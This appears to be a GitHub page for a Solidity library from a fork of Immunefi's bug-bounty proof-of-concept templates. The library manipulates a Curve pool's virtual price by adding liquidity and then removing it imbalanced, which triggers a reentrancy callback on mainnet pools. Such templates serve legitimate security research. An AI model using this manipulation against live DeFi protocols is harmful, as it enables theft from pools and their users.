forked from immunefi-team/forge-poc-templates
-
Notifications
You must be signed in to change notification settings - Fork 0
/
CurvePriceManipulation.sol
78 lines (64 loc) · 3.13 KB
/
CurvePriceManipulation.sol
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
pragma solidity ^0.8.0;
import "../../tokens/Tokens.sol";
/**
* Vulnerabilities stemming from Curve pool get_virtual_price manipulation can only occur
* in pools where the underlying asset is ETH, or the underlying asset is a token which
* makes a callback to the receiver on transfers
*/
library CurvePriceManipulation {
struct Context {
ICurvePoolRegistry poolRegistry;
}
/**
* @dev Manipulates the price in a Curve pool by adding and removing liquidity.
* @param token0 Address of the first token in the pool.
* @param token1 Address of the second token in the pool.
* @param amount0 The amount of token0 to add to the pool.
* @param amount1 The amount of token1 to add to the pool.
*/
function manipulatePoolPrice(IERC20 token0, IERC20 token1, uint256 amount0, uint256 amount1) internal {
Context memory context = context();
ICurvePool curvePool = ICurvePool(context.poolRegistry.find_pool_for_coins(address(token0), address(token1)));
uint256[2] memory amounts;
amounts[0] = amount0;
amounts[1] = amount1;
if (token0 != EthereumTokens.ETH) {
token0.approve(address(curvePool), 0);
token0.approve(address(curvePool), type(uint256).max);
}
token1.approve(address(curvePool), 0);
token1.approve(address(curvePool), type(uint256).max);
curvePool.add_liquidity{value: token0 == EthereumTokens.ETH ? amount0 : 0}(amounts, 0);
IERC20 lp_token = IERC20(curvePool.lp_token());
amounts[0] = lp_token.balanceOf(address(this)) * curvePool.balances(0) / lp_token.totalSupply();
amounts[1] = lp_token.balanceOf(address(this)) * curvePool.balances(1) / lp_token.totalSupply();
// Trigger callback
curvePool.remove_liquidity_imbalance(amounts, type(uint256).max);
}
/**
* @dev Returns the context information for the curve pool registry.
* @return Context The context information.
*/
function context() internal view returns (Context memory) {
ICurvePoolRegistry poolRegistry;
if (block.chainid == 1) {
// Ethereum mainnet
poolRegistry = ICurvePoolRegistry(0x90E00ACe148ca3b23Ac1bC8C240C2a7Dd9c2d7f5);
} else {
revert("CurvePriceManipulation: Chain not supported");
}
return Context(poolRegistry);
}
}
interface ICurvePoolRegistry {
function find_pool_for_coins(address token0, address token1) external view returns (address);
}
interface ICurvePool {
function exchange(int128 i, int128 j, uint256 dx, uint256 min_dy) external payable returns (uint256);
function add_liquidity(uint256[2] calldata amounts, uint256 minMintAmount) external payable returns (uint256);
function remove_liquidity(uint256 amount, uint256[2] memory minAmounts) external returns (uint256);
function remove_liquidity_imbalance(uint256[2] memory amounts, uint256 maxBurnAmount) external returns (uint256);
function balances(uint256 i) external view returns (uint256);
function lp_token() external view returns (address);
function get_virtual_price() external view returns (uint256);
}